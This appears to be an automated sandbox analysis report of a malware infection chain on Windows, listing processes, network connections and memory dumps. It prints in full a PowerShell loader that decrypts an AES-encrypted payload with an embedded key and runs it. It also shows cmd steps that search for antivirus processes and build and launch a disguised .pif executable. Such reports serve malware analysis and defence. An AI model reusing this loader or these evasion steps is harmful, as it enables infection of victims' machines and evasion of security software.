PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 2440 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 1744 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 1744 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 1744 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 1744 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 1744 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 1744 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 1744 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 1744 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 220 wrote to memory of 1744 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\ChromeSetup.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function TLcToxJS($Imjw){return -split ($Imjw -replace '..', '0x$& ')};$eGLbfA = TLcToxJS('88713C0E6345BF6F01234702EC33828DDF2378F0EB28C8C270C3C536F77F2A54D7C551CF332C7EFBAF6008BFF77DA8394D3473142E76214843C7E2728213CE6C97DE8B20BE13ABE17961072C4BEB4AF63EE7E46FC28FAF8FBAB114708D65DA81E5E0ED6AF7D726C17278A48BEC42EC6BBE58DF4595E510DF26A125762D63550A3000230E2088A014B6E1C6C14C2820693207376F17572345B88EC7F724E177A87B0213D1AC159F23E2B4B8D62637C9C52EE0C61AF3F759CE95D4CCFDDF0A2920F9BE9528C53A00FA3E5E072D939A82148E1776937E0D3EE2417D96EB758AB281FBA019DD2FA30AC300F00A6F4948DFD2D169927C6877A7588F5C44E400419BD6307661915A781BDB5C8206A73196CDE95289A3349017F0A372F159A386104D96295F3F438637717852645E0A13E68B91D1C9DCC32199E06F03D3F18182C07AE06CFD02653A671F7F90E597264B1AB8630350388A281494A22166BCB1E37F99F9EE48E74940CA6C5664AA1C448238D37ABFE7BE981A0A4E70DC3B0DDFC66538A07BC735D13C2A030C1F254D3232CA5BD9E70858BDE03361E3A65FC4F06D462EAF5EC013F2C34DE3ECD079C2FB4A4B03C10C5C2B4EC7B6F86FC6CE2456855E39C9EE5FC9C630D415D23ADED57DD934EDA90E63224A16BF4E09F979802D9AE10954F5BD3B5578A6C00AA970D90E4785E80AEAE49317C95D54C1B08E1CC832B6F70717511068D683A1255FD896F64ABAA25551AD9668C3BF7378E17F68C6EDDBA093F48BE9FCB33545BB8E1D155B3433F5F36CEB9331DED5F64C86B2134F57C4A43C62273B2BE22CF9FFC0738F919E86116A5450C795807EE8877F1DBD799496CCF6739DACB0F81EF980F33800C6F5666CC22C574E394123A5A09FD9C660B1F295B3527FD32F61858CCB3369A181B1532D9BFD6833EB6F6D3F65D514F38472B577FB8C988FD2C8652F8F46F507A7CBA0FD6608864F30653D030DC31D049A5D0563BA61A2EFBAA8BB4825655A24C0CD4E1B9370628A4231400F6458CD6E70274AA26C4C08074C7D9A9D10DEABFF20861561FBBDA361C1140EE331F0467C225AB79BB530FADE7B415F60EA39D9C0943627996F318DF6EED8076C4C5DCB604FF6441C32A0196836C1394C79F28CD6A6EA1116FE9F0E10B6BAF9884B9D8E1AFB0162E467C4AAEE322A536D223430EADE38BC4267B3DEF3F964495B1C40A083D4E0C1F248825C62DCC7995C4870848F86637A32C271D202C5F98CC839D02847FB6857CE5A8E00DDA8B74B66E15115AD1BD6174AB6A160427FFAA1F33FF268D51253FC1C4163F0C7A2F65DC993B3DE547C7A510AF2C2A75A06398041402E9B8A7DEC77D052B922B59A7B608D95DF41CF8C3D9B25062BA3D357C54BF29264105D3F47E285C4667440C9D95C33594DA1D64F157A5C9DF920F92BF4CDABAAEC1C9E63459CDC18164C0D8E7A028941C06483663379FC6E20727DA1799FB7FEC57F45CE3DAE1DE32B38162DA998F7345141B34F6A32CA80860A6AE45D73FDDE1BFFF7A3E35966226200D6FEDB2F5F55A6D15F4E6E10A42EE2AF5EF1AB59D5156FAF3EFE1D267E3562417FB3741FEC879A432B8B25A0C804213FFB17AD28D77B52B3401862CF5D8A79B3815F08361F0690375F1444A5652755241B7B4C76E7B42BC96CBC4AC7DD4DE115175DFCBA5B484D4B254BA0A3C3A24874E3D90347F7EA8DA46AC7B123E8B9');$xBQDa = [System.Security.Cryptography.Aes]::Create();$xBQDa.Key = TLcToxJS('466371524D774563634159445A6A426E');$xBQDa.IV = New-Object byte[] 16;$PuTlXHvG = $xBQDa.CreateDecryptor();$BgiNlDJqW = $PuTlXHvG.TransformFinalBlock($eGLbfA, 0, $eGLbfA.Length);$HxMgCSafi = [System.Text.Encoding]::Utf8.GetString($BgiNlDJqW);$PuTlXHvG.Dispose();& $HxMgCSafi.Substring(0,3) $HxMgCSafi.Substring(3)

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\sample.pdf"

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043

C:\Users\Admin\AppData\Roaming\ChromeSetup.exe

"C:\Users\Admin\AppData\Roaming\ChromeSetup.exe"

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=811494109F7FCFB1CD03F931502C8FDD --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=811494109F7FCFB1CD03F931502C8FDD --renderer-client-id=2 --mojo-platform-channel-handle=1736 --allow-no-sandbox-job /prefetch:1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=E1AF6AB8429B57EEB8434AA81C9645C2 --mojo-platform-channel-handle=1860 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=E7170760948FB1C4040F29B9BC699851 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=E7170760948FB1C4040F29B9BC699851 --renderer-client-id=4 --mojo-platform-channel-handle=2168 --allow-no-sandbox-job /prefetch:1

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k move Bathrooms Bathrooms.bat & Bathrooms.bat & exit

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=EB81B056492B0B12BBCBECDB53C3CB34 --mojo-platform-channel-handle=2436 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=8DC37E1534B34FF89D3B6AAA99DD8C1C --mojo-platform-channel-handle=2708 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=3E15F7EC8818652FB7A0609EF276A434 --mojo-platform-channel-handle=2448 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "wrsa.exe opssvc.exe"

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c md 13140

C:\Windows\SysWOW64\cmd.exe

cmd /c copy /b Compound + Injection + Emotions + Worm + Participants 13140\Donations.pif

C:\Windows\SysWOW64\cmd.exe

cmd /c copy /b Src + Expressions + Safari + Treasury 13140\x

C:\Users\Admin\AppData\Local\Temp\13140\Donations.pif

13140\Donations.pif 13140\x

C:\Windows\SysWOW64\PING.EXE

ping -n 5 127.0.0.1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4540 --field-trial-handle=2320,i,3025503729105798828,9325691672526736153,262144 --variations-seed-version /prefetch:8

C:\Windows\SysWOW64\dialer.exe

"C:\Windows\system32\dialer.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5404 -ip 5404

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 912

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3712 --field-trial-handle=2320,i,3025503729105798828,9325691672526736153,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 194.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 pdfobject.com udp
US 185.199.108.153:443 pdfobject.com tcp
GB 92.123.128.167:443 www.bing.com tcp
GB 92.123.128.167:443 www.bing.com tcp
US 8.8.8.8:53 153.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 167.128.123.92.in-addr.arpa udp
US 8.8.8.8:53 eu-pledge.eu udp
FI 65.21.110.244:443 eu-pledge.eu tcp
US 8.8.8.8:53 244.110.21.65.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 nmkrkibbwxQ.nmkrkibbwxQ udp
US 8.8.8.8:53 135.240.123.92.in-addr.arpa udp
US 8.8.8.8:53 75.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 13.107.246.64:443 tcp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 104.241.123.92.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 24.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 180.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 213.143.182.52.in-addr.arpa udp
US 8.8.8.8:53 176.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
GB 142.250.200.10:443 chromewebstore.googleapis.com tcp
US 8.8.8.8:53 10.200.250.142.in-addr.arpa udp
NL 52.142.223.178:80 tcp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 89.135.221.88.in-addr.arpa udp

Files

memory/1544-0-0x00000000710E0000-0x0000000071890000-memory.dmp

memory/1544-1-0x0000000005640000-0x0000000005650000-memory.dmp

